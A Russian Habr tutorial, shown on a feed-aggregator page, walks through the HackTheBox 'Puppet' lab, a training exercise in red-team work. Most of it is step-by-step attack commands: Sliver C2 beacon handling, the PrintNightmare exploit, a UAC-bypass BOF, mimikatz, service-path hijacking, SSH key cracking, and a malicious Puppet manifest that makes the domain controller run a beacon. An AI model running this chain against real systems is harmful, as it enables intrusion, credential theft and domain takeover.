惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Stack Overflow Blog
Stack Overflow Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
P
Proofpoint News Feed
Apple Machine Learning Research
Apple Machine Learning Research
T
Tailwind CSS Blog
罗磊的独立博客
F
Future of Privacy Forum
The Register - Security
The Register - Security
MyScale Blog
MyScale Blog
P
Privacy & Cybersecurity Law Blog
V
Visual Studio Blog
T
Tenable Blog
F
Fortinet All Blogs
D
Docker
V
Vulnerabilities – Threatpost
Cyberwarzone
Cyberwarzone
A
Arctic Wolf
T
Threat Research - Cisco Blogs
I
Intezer
T
Tor Project blog
大猫的无限游戏
大猫的无限游戏
MongoDB | Blog
MongoDB | Blog
博客园 - 司徒正美
AWS News Blog
AWS News Blog
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
G
GRAHAM CLULEY
T
Threatpost
美团技术团队
K
Kaspersky official blog
F
Fox-IT International blog
Hugging Face - Blog
Hugging Face - Blog
Vercel News
Vercel News
P
Palo Alto Networks Blog
Google DeepMind News
Google DeepMind News
T
The Blog of Author Tim Ferriss
S
Schneier on Security
腾讯CDC
Cisco Talos Blog
Cisco Talos Blog
C
Check Point Blog
博客园 - 叶小钗
I
InfoQ
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Blog — PlanetScale
Blog — PlanetScale
F
Full Disclosure
T
True Tiger Recordings
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
E
Exploit-DB.com RSS Feed
L
LINUX DO - 热门话题
J
Java Code Geeks
C
CERT Recently Published Vulnerability Notes

Все публикации подряд на Хабре

Как ставить цели и не забывать о них: пошаговая система с примерами в таск-менеджере Как настроить observability в Spring Boot 3 Обзор серверного ускорителя NVIDIA Tesla V100 16 Gb в корпусе от RTX 4090: Часть 3 — Запуск локальных моделей ИИ Редактирование текста нейросетью: как сделать диплом и курсовую более человечными Самодельный ARM ноутбук, реально ли? Как 100+ авторов пишут 100+ процессов в 3 версиях и не путаются. Или как мы переехали с Wiki на Git Прошла AnalystDays – хорошие выступления и нетворкинг VSCode как IDE для embedded разработки Моделирование широкополосной антенны с двойной круговой поляризацией и высокой изоляцией Ваше прошлое физически существует прямо сейчас. И вы заморожены там навсегда От списка инструментов к technical output: как security engineer’у описывать hands-on опыт в CV и на интервью I just want an agent. Часть 1. Как я научил ИИ собирать ИИ-агентов за пользователей и выиграл конкурс I just want an agent. Часть 1. Как я научил ИИ собирать ИИ-агентов за пользователей и выиграл конкурс Вайбкодинг спас меня от подрядчиков. А потом я поняла, что сама стала подрядчиком для своих агентов Святой Августин и GAN: почему борьба добра и зла — это генеративная состязательная сеть В каждом QR-коде зашита половина лишней информации. Намеренно Я открываю автомат ключом, меняю рулон бумаги и зарабатываю 180 тысяч в месяц с точки Мастер восстановления. Культура достиженства и выгорание Недельный геймдев: #279 — 24 мая, 2026 Защита от дублирования кода агентами: семантические концепции Frontend Status: свежий дайджест фронтенда и AI — 25.05.2026 Где искать IT-работу кроме HH: подборка платформ 2026 Почему простые числа собираются в спирали? OCR для Data Lakehouse: от Apache Tika к собственному решению на базе Docling Jira — Тьюринг-полная Kubernetes-аудит после Wiz и Prisma: как живут без CNAPP в 2026 «Тестируем MVP в 4 раза быстрее»: как нейросети изменили жизнь предпринимателей На каком стеке и железе работает умное наблюдение в вашем городе: обзор технологий от разработчиков видеоаналитики Как мы ускорили согласования на двух заводах в 24 раза Heartbeat-мониторинг cron-job'ов: dead-man-switch на FastAPI [Перевод] Сегодня нет джуниоров, а в 2031 году не станет и синьоров Профайлер для PostgreSQL: от идеи до работающего MVP за сутки [Перевод] Ограничения размера cookie в ASP.NET Core в продакшене: причины и способы решения Проблема «божественного» Obsidian: почему я отказался от централизованного подхода в работе Лицензии GNU GPL: как пройти проверку Минцифры и заказчика для госзакупок и КИИ Хакатон Samsung IT Academy Hack 2026: как студенты оптимизировали поиск в корпоративном мессенджере Хакатон Samsung IT Academy Hack 2026: как студенты оптимизировали поиск в корпоративном мессенджере MTProxy jumper — делаем автоматическое переключение прокси-серверов Telegram Ты уже используешь агента. Просто не заметил Книжный салон. Послевкусие и благодарности Как отлаживать мини‑приложения в MAX и почему без DevTools это боль Cбор биометрических данных. Как защищается наша биометрия на практике Как запустить учет активов без цифровой свалки: первые 90 дней CGE: визуализация кравлера и скрытых связей между поддоменами Зачем банки тратят миллиарды на науку (спойлер: не благотворительности ради) Книга: «Современный Java Concurrency. Глубокое погружение в Virtual Threads, Structured Concurrency и Scoped Values» Как использовать подписку ChatGPT и Claude в Cursor без оплаты за API токены Специализированная ИСУП или модуль в универсальной платформе: вот в чем вопрос Обход белых списков через WebRTC на стероидах (с поддержкой iOS и десктопа) Регата INFOSTART CIO CAMP: когда команда проверяется не в переговорной, а на воде Пет-проект, который не умер: система бронирования устройств как полигон для AI-разработки Не надо встраивать ИИ в каждую корпоративную систему, это архитектурная ошибка Нейросети для дизайна интерьера: Выбираем лучший ИИ для генерации концептов и планировок квартиры Что там с Ил-114-300 Что такое DAS: как и зачем продукт-менеджеры саботируют запуск новых продуктов 8% компаний измеряют критическое мышление руководителей. Что делают остальные 92% CVE, Shell и побег из контейнера: испытываем возможности PT Cloud Application Firewall Как я научил Алису петь: генерация музыки по голосовой команде Восстановление данных с помощью бесплатной утилиты Easy Disk Checker Как мы построили сквозную аналитику в Power BI Год разработки iOS-игры, 266 тысяч показов и $33: как я делал Vault и почти ничего не заработал Ты прокрастинируешь потому, что избегаешь напрасных усилий, а не чрезмерных нагрузок Я построила диагностику «стоит ли это автоматизировать» — и она трижды говорила глупости. Разбор ошибок Как устроены world models, что показал Google на прошлой неделе и где это меняет gamedev и робототехнику Двухдневная рабочая неделя — будущий стандарт CPU не умер, он просто ждал. Китай строит двухэксафлопсный суперкомпьютер без единого GPU — прорыв, необходимость, фейк? 3Sound: поиск бесплатных звуков для игр больше не боль? 3 Тбит/с по-русски: почему DDoS в 2026 году стал угрозой для любого бизнеса 10 Гбит/с — зачем вам такая скорость передачи данных в облаке Ремонтируем аналоговый XY-самописец Endim 622 [Перевод] IPO компании SpaceX: хорошая попытка, но нет «Ща будет шрифт»: история одного русского embedded‑шрифта Как аквариум на подоконнике превратился в full-stack платформу с AI GiftsHub — из чат-бота в полноценный backend-продукт Пиратство, копирайт и DMCA: как Napster, The Pirate Bay и YouTube изменили закон. Часть II Как найти внутренние резервы для развития предприятия Как один французский чиновник от безысходности начал платил зарплаты картами и практически изобрёл банкноты RAG в энтерпрайзе: почему демо работает, а прод нет AI-агент для финансовых процессов: как мы научили ИИ считать числа из базе данных без галлюцинаций Автопостинг на 8 платформах: архитектура waterfall, custom publisher'ы и API-ловушки Кинетика против бронзы: Почему Голиаф был обречен в дуэли с Давидом [Перевод] Масштабирование LLM: от одного чипа до ЦОДа. Глава 2. Шардинг LLM не работает за вас. Она работает с вами Чем лучше защищает минеральный SPF, тем страшнее он выглядит Стимпанк как часть жизни. История паровых двигателей и место, которое они занимали в мире в XIX-XX веках. Часть 1 Гастарбайтеры ворвались в IT и зарабатывают на рекламе: тут вам не снег лопатой кидать Новые методы и инструменты: как мы обновили курсы по тестированию в Яндекс Практикуме Java 21 в стиле «клятый энтерпрайз» на одноплатном компьютере возрастом 13 лет Ваши секреты внутри LLM. Куда уходят промпты и чего стоит опасаться? 10× труда. 10% к бонусу. Главный риск AI-эпохи — это сениор AI-инженер, который умеет считать Сапожник с сапогами Минимум, который удержит тебя на плаву в период дедлайнов Как без проблем переносить курсы между платформами? Обзор формата SCORM Когда Claude Code ошибается не по своей вине: документационный долг в соло-проектах 70% кода с AI — и ни на день быстрее qrrot — база данных со встроенным ИИ Шахматные программы V. Оценочная функция Восстание масс в обществе спектакля и отчуждение труда в царстве количества: что делать во времена всеобщего упадка? Не умеешь работать с ИИ? Тебя заменит тот, кто умеет Как интеллект становится уязвимостью под давлением
HackTheBox. Прохождение Mini Pro Lab Puppet
Yashechka · 2026-05-25 · via Все публикации подряд на Хабре

Уровень сложностиСложный

Время на прочтение10 мин

Охват и читатели2

Туториал

Про Puppet уже написано несколько прохождений и даже был снят стрим, поэтому я решил написать своё прохождение и устранить все ошибки с которыми я столкнулся.

Вам поручено провести проверку на проникновение в компанию Puppet Inc. Компания не разрешает передачу данных за пределы внутренней сети, поэтому внутри компании был создан сервер управления и контроля (C2), и сотрудник запустил вредоносную программу для имитации успешной атаки с использованием методов социальной инженерии.

Puppet — это небольшой сценарий Active Directory, в котором вы начинаете с уже работающего маяка Sliver C2 на внутренней системе. Он предназначен для отработки работы в рамках C2-инфраструктуры в современной, сложной гибридной среде.

Puppet разработан для специалистов по тестированию на проникновение и «красных команд», ищущих быструю и сложную лабораторию с уже настроенной C2-инфраструктурой для отработки операций C2.

Эта лаборатория «Оператор красной команды уровня I» познакомит игроков со следующими темами:

- Перечисление

- Перечисление и атаки на Active Directory

- Эксплуатация инфраструктуры DevOps

- Боковое перемещение

- Локальное повышение привилегий

- Ситуационная осведомленность

- Операции C2

Puppet — это цепочка задач средней сложности на HTB, в которой вы используете фреймворк C2 Sliver для взлома небольшой среды AD. Вы начинаете с уже существующего маячка на файловом сервере, повышаете привилегии с помощью эксплоита print nightmare, а затем дампите учетные данные. Затем вы делаете боковое перемещение на систему Linux, которая выступает в роли сервера Puppet, по сути, управляя всей средой. Вы повышаете привилегии на сервере Puppet и используете это для горизонтального перемещения на контроллер домена, где снова извлекаете учетные данные, чтобы получить последний флаг.

Начнём со сканирования портов на единственном доступном компьютере (представьте, что компания предоставляет вам внутренний компьютер для тестирования):

Добавим наш айпи в файлик hosts.

sudo nano /etc/hosts

Проведем начальное сканирование выданного айпи masscan’ом.

sudo masscan -p1-65535,U:1-65535 10.13.38.33 --rate=500 -e tun0 > puppet.ms

У нас открыты 5 портов.

Просканируем их nmap’ом.

nmap -p21,22,8140,8443,31337 -sC -sV -oA nmap/puppet puppet.htb

Помимо FTP и SSH, мы видим порты 8443 и 31337, которые встречаются довольно редко. Давайте сначала проверим FTP, так как Nmap говорит, что к нему разрешен анонимный доступ.

Подключимся к 21 порту.

ftp puppet.htb

Посмотрим файлы и папки.

ls

У нас есть два файла, загрузим их себе на машину.

get red_127.0.0.1.cfg

get sliver-client_linux

Посмотрим скачанные файлы.

cat red_127.0.0.1.cfg

Это конфиг для подключения к С2 серверу.

file sliver-client_linux

Сам клиент для С2 сервера.

FTP-ресурс содержит конфигурацию Sliver, а также клиент Sliver для удобства. Эта компания уже настроила для вас C2-сервер, но не хочет предоставлять вам доступ к командной оболочке на сервере. Давайте попробуем подключиться. Проверив конфигурацию, мы видим, что по умолчанию подключение осуществляется к localhost.

Но так как порт для подключения находится на удаленной машине, то сделаем переадресацию портов.

sudo socat TCP-LISTEN:31337,reuseaddr,fork TCP:puppet.htb:31337

Сделаем файл клиента исполняемым.

chmod +x sliver-client_linux

Импортируем конфиг для С2 сервера.

./sliver-client_linux import red_127.0.0.1.cfg

Теперь запускаем сам клиент и подключаемся к серверу.

./sliver-client_linux

Выполнение команды beacons показывает, что к этому серверу уже подключен маяк:

beacons

Теперь мы можем либо взаимодействовать с маяком, либо переключиться на более быструю интерактивную сессию. В этой лабораторной работе я буду работать с сессией, но отмечу, что в реальных боевых действиях работа с маяком обычно предпочтительнее для целей уклонения. Маяки находятся в режиме ожидания между выполнением команд, и большинство C2-фреймворков применяют обфускацию во время этих задержек. При переключении на интерактивную сессию задержки больше не происходят, поэтому этот компонент уклонения теряется.

Будем использовать маячок fe2a6189.

use fe2a6189

Перейдем в интерактивный режим взаимодействия с маячком.

interactive

Нам открылась сессия — 9d4ae392.

Переключимся на сессию 9d4ae392.

use 9d4ae392

Теперь можем выполнять команды в системе.

Перейдем на рабочий стол Брюса Смита и заберет первый флаг.

cd C:\\Users\\bruce.smith\\Desktop

ls

cat flag.txt

Теперь перейдём к локальному перечислению. Прежде всего, просмотрев файловую систему, мы заметим, что Puppet установлен.

cd c:\\programdata

Посмотрим список файлов и папок.

ls

Видим, что есть Puppet и PuppetLabs.

Puppet — это инструмент для управления конфигурацией, в некотором смысле похожий на нашу систему управления и контроля (C2). Это означает, что где-то находится сервер Puppet, который управляет машинами в нашей среде. Далее нам нужно узнать, в каком контексте мы работаем — чтобы это увидеть, мы запустим объектный файл маяка sa-whoami (bof):

Установим пакет sa-whoami через armory.

armory install sa-whoami

Посмотрим, кем мы являемся в системе, группы и привилегии.

sa-whoami

Обратите внимание, что мы являемся пользователями домена из группы employees, но, похоже, не имеем никаких особых привилегий. Наш следующий шаг — сбор данных о среде AD с помощью Bloodhound. Для этого мы можем напрямую запустить сборку sharp-hound-4 из Sliver:

Перейдем в папку temp.

cd c:\\temp

Устанавливаем инжестор.

armory install sharp-hound-4

Собираем с помощью инжестора данные.

sharp-hound-4 -s -t 300 -- -c all,gpolocalgroup

Обратите внимание, что результат сохраняется в виде ZIP-архива на целевом компьютере, но нам все равно придется его загрузить:

Загружаем файл себе на ПК для анализа.

download 20260524015235_BloodHound.zip

Мы загружаем файлы в наш локальный экземпляр BloodHound, но не видим никаких особенно интересных путей.

В качестве следующего шага мы запускаем sa-adcs-enum bof, чтобы перечислить все потенциальные экземпляры ADCS.

Устанавливаем пакет sa-adcs-enum для работы с центром сертификации.

armory install sa-adcs-enum

Запускаем sa-adcs-enum.

Однако центров сертификации нет. Кроме того, мы перечисляем открытые порты локальной машины с помощью еще одного boof:

Установим бандл situational-awareness.

Но у меня не установился и выкинул ошибку на этапе установке sa-req-query.

Ничего особенно интересного не обнаруживается. В качестве следующего шага мы ищем локальные уязвимости повышения привилегий. Хороший скрипт PowerShell для этого — PrivescCheck от itm4n. Поскольку мы не можем напрямую получить доступ к машине злоумышленника с целевой машины, нам придется либо загрузить скрипт на целевую машину, либо разместить его на машине управления и контроля. В данном случае я выбираю способ загрузки:

Загрузим локально на kali чекер привилегий.

wget https://github.com/itm4n/PrivescCheck/releases/download/2026.01.30-1/PrivescCheck.ps1

Теперь загружаем с kali на сервер этот чекер.

Смотрим файлы.

ls

Установим sharpsh.

armory install sharpsh

Проверяем систему на локальные уязвимости.

sharpsh -t 300 -- -c invoke-privesccheck -u c:\\temp\\PrivescCheck.ps1

Машина уязвима для PrintNightmare из-за неправильной конфигурации! Существует множество способов эксплуатации этой уязвимости, для простоты я воспользуюсь PoC из этого репозитория - https://github.com/JohnHammond/CVE-2021-34527 . PrintNightmare, по сути, загружает DLL-файл, контролируемый злоумышленником, как SYSTEM, поэтому вы также можете создать свой собственный DLL-файл для прямой загрузки маяка Sliver. Однако PoC от Джона Хаммонда позволяет использовать предварительно скомпилированный DLL-файл для добавления нового пользователя-администратора. Хотя это легко обнаружить, это быстрый способ добиться желаемого.

Загрузим на kali эксплоит.

git clone https://github.com/JohnHammond/CVE-2021-34527

Перекинем его в рабочую папку.

cp CVE-2021-34527.ps1 ~

Перенесем эксплоит на машину.

upload CVE-2021-34527.ps1

Переключимся в шелл и загрузим скрипт CVE-2021-34527.ps1.

Import-Module -Name C:\Temp\CVE-2021-34527.ps1

Запустим эксплоит.

Invoke-Nightmare -DriverName "PrintMe" -NewUser "john" -NewPassword "RedPuppet123"

Проверим работу эксплоита.

net localgroup administrators

Поскольку мы добавили локального пользователя, входящего в группу администраторов, теперь мы можем использовать команду runas для переключения в его контекст, повторно запустив начальную полезную нагрузку маяка:

exit

Здесь нужно подождать.

runas -u john -P "RedPuppet123" -p c:\\programdata\\puppet\\puppet-update.exe

Посмотрим список маячков.

beacons

У нас появился новый маячок с именем <err> потому что мешает UAC.

Смотрим кто мы.

sa-whoami

Давайте обойдем UAC.

Клонируем репозиторий с обходом UAC.

git clone https://github.com/icyguider/UAC-BOF-Bonanza.git

Скопируем файлы в папку extensions С2 сервера.

sudo cp -rp /home/kali/UAC-BOF-Bonanza /home/kali/.sliver-client/extensions/

Перейдем в нужную папку для компиляции

cd /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/

Установим компилятор

sudo apt install gcc-mingw-w64-bootstrap -y

Исправляем ошибки.

sed -i 's/^\(\s*\)return;$/\1return 0;/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

sed -i 's/\(CoGetObject.*&IID_IEditionUpgradeManager,\s*\)&Manager)/\1(void**)\\\&Manager)/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

sed -i 's/&IID_IEditionUpgradeManager, &Manager)/\&IID_IEditionUpgradeManager, (void**)\\\&Manager)/' EditionUpgradeManager/src/EditionUpgradeManagerBOF.c

Компилируем.

make

Загружаем расширение.

extensions load /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass

Создаем нужную папку

mkdir -p /home/kali/.sliver-client/extensions/SspiUacBypass/bin/

И копируем нужный файл куда нужно.

cp /home/kali/.sliver-client/extensions/UAC-BOF-Bonanza/SspiUacBypass/bin/SspiUacBypassBOF.o /home/kali/.sliver-client/extensions/SspiUacBypass/bin/SspiUacBypassBOF.o

И повышаемся до системы

SspiUacBypass C:\\programdata\\puppet\\puppet-update.exe

Смотрим маячки.

beacons

Всё как и раньше.

use 0513a440

interactive

use 879a55d8

Забираем флаг с рабочего стола Администратора.

Скопируем мимикатз в домашнюю директорию

cp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe .

Воспользуемся боковым загрузчиком, чтобы загрузить мимикатз в память.

Помимо хешей пользователя Брюса и самой машины, мы также получаем хеш нового пользователя: svc_puppet_win_t1. Вероятно, это учетная запись, которую Puppet использует для выполнения команд на серверах Windows первого уровня. Согласно собранным нами данным Active Directory, существуют также учетные записи svc_puppet_win_t0 и svc_puppet_lin_t1. Один аспект, который мы еще не рассматривали, — это общие ресурсы домена. Поэтому давайте сначала сделаем это из системной учетной записи (которая также является обычным пользователем домена — учетной записью машины сервера):

Поставим расширение для работы с шарами sa-netshares.

armory install sa-netshares

Смотрим шары на домен контроллере.

sa-netshares dc01

sa-netshares file01

К нестандартным общим ресурсам относятся «FILES» на файловом сервере file01, где мы уже являемся администраторами, и общий ресурс IT на контроллере домена. Давайте проверим, можем ли мы получить доступ к общему ресурсу IT:

ls \\\\dc01.puppet.vl\\it

У нас нет доступа к этому разделу. Давайте проверим нового пользователя, которого мы получили ранее. Это пользователь, запускающий службу Puppet, поэтому, не прибегая к механизму pass-the-hash, мы можем изменить конфигурацию службы для получения маяка, а затем вернуть всё обратно. Давайте сначала перечислим службы:

armory install sa-sc-enum

Смотрим все службы.

sa-sc-enum

Посмотрим службу puppet на file01.

armory install sa-sc-query

sa-sc-query file01 puppet

Установим расширение для работы с реестром

armory install sa-reg-query

К сожалению из-за этого расширения клиента выкидывает.

Теперь мы могли бы изменить путь запуска и перезапустить службу, но есть способ и получше.

execute -o -s -- c:\\windows\\system32\\cmd.exe /c sc config puppet binPath=c:\\programdata\\puppet\\puppet-update.exe

Запускаем службу.

execute -o -s -- c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -c "Restart-Service -Name puppet"

Теперь у нас есть новый маячок.

Но он быстро умирает, потому что мы загружаем файл маяка вместо службы, поэтому будем мигрировать в процесс.

Для начала посмотрим список процессов.

ps

И мигрируем в нужный нам процесс.

migrate -p 3140

Теперь смотрим кто мы.

whoami

С помощью нового маяка svc_puppet_win_t1 мы теперь можем вывести список общих ресурсов на контроллере домена, поскольку у этой учетной записи есть права доступа к ним. Теперь мы можем убедиться, что у нас действительно есть доступ, и немного осмотреться.

ls \\\\dc01.puppet.vl\\it

ls \\\\dc01.puppet.vl\\it\\.ssh

Загружаем себе эти ключи.

download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519

download \\\\dc01.puppet.vl\\it\\.ssh\\ed25519.pub

Загружаем пингалку

https://gist.github.com/joegasper/93ff8ae44fa8712747d85aa92c2b4c78

Находим такие айпи.

Get-PingSweep -SubNet '172.16.40'

Проверим порты.

Test-NetConnection -ComputerName 172.16.40.5 -Port 22

Test-NetConnection -ComputerName 172.16.40.200 -Port 22

Из содержимого файлов мы узнаем, что это закрытый ключ SSH для учетной записи svc_puppet_lin_t1@puppet.vl (обратите внимание, что вам, возможно, придется изменить символы конца строки, поскольку этот ключ был получен с машины под управлением Windows). Хотя Sliver имеет функциональность для выполнения команд SSH с помощью маяка, мне не удалось заставить его работать. Поэтому мы собираемся настроить переадресацию портов для SSH с нашей машины злоумышленника. Теперь сделаем саму переадресацию портов в С2.

portfwd add --bind 2222 -r 172.16.40.200:22

Не забываем переименовать файлы.

mv '\\dc01.puppet.vl\it\.ssh\ed25519' ed25519

mv '\\dc01.puppet.vl\it\.ssh\ed25519.pub' ed25519.pub

Преобразуем ключ в хеш для подбора пароля.

ssh2john ed25519 > hash.txt

Теперь подберем пароль.

john hash.txt --wordlist=rockyou.txt

К сожалению площадка Хабры не даёт больше загрузить изображения, поэтому дальше пойдет только текст.

Меняем права на файл и преобразуем в нужный формат.

chmod 0600 ed25519

dos2unix ed25519

Подключаемся к системе и вводим пароль.

ssh -i ed25519 -t 'svc_puppet_lin_t1@puppet.vl'@127.0.0.1 -p 2222

Это сработало, и теперь у нас есть доступ к главному компьютеру Puppet Master. Посмотрим привилегии.

sudo -l

Перечислим машины, управляемые этой машиной посредством puppet:

sudo puppet cert list --all

Проведем повышение привилегий по инструкции https://gtfobins.org/gtfobins/puppet/

/bin/bash -p

Читаем флаг в домашней директории у рута.

Мы видим, что и file01, и контроллер домена управляются этим экземпляром Puppet Master. Хотя мы не знаем, под какими учетными записями работают агенты (кроме file01), можно предположить, что это, вероятно, svc_puppet_win_t0 для контроллера домена. Давайте найдем способ выполнить там команду:

Создаем нужные папки.

mkdir -p /etc/puppet/code/environments/production/manifests

Меняем права на папку.

chmod 777 /etc/puppet/code/environments/production/manifests

Создаем следующий файл.

nano /etc/puppet/code/environments/production/manifests/site.pp

node 'dc01.puppet.vl' {

exec { 'pwned':

command => 'C:\\Windows\\System32\\cmd.exe /c \\\\file01.puppet.vl\\files\\puppet-update.exe',

logoutput => true,

}

}

node default {

notify { 'This is the default node': }

}

Меняем права на файл

chmod 777 /etc/puppet/code/environments/production/manifests/site.pp

Применяем конфиг, не забывая положить файл в нужную папку.

Задача агента — отследить изменения. По умолчанию это происходит каждые 30 минут, но здесь агент проверяет состояние системы каждую минуту, чтобы помочь в эксплуатации уязвимости.

Вскоре после этого мы получаем сигнал от домена контроллера:

Переключаемся на нужный маячок и заходим на рабочий стол Администратора.

Это предоставляет полные административные права на контроллере домена, однако последний флаг находится не в обычном месте — на этой машине это пароль одного из пользователей. Поэтому нам придётся получить его из дампа учётных данных, т.е. последний флаг можно выгрузить с помощью SharpDPAPI.exe

wget https://raw.githubusercontent.com/r3motecontrol/Ghostpack-CompiledBinaries/refs/heads/master/SharpDPAPI.exe

Загружаем SharpDPAPI.exe, переходим в шелл и запускаем.

upload SharpDPAPI.exe

Машина пройдена, можно забирать сертификат.

Полную PDF версию прохождения со всеми картинками можно забрать у меня в телегамм канале.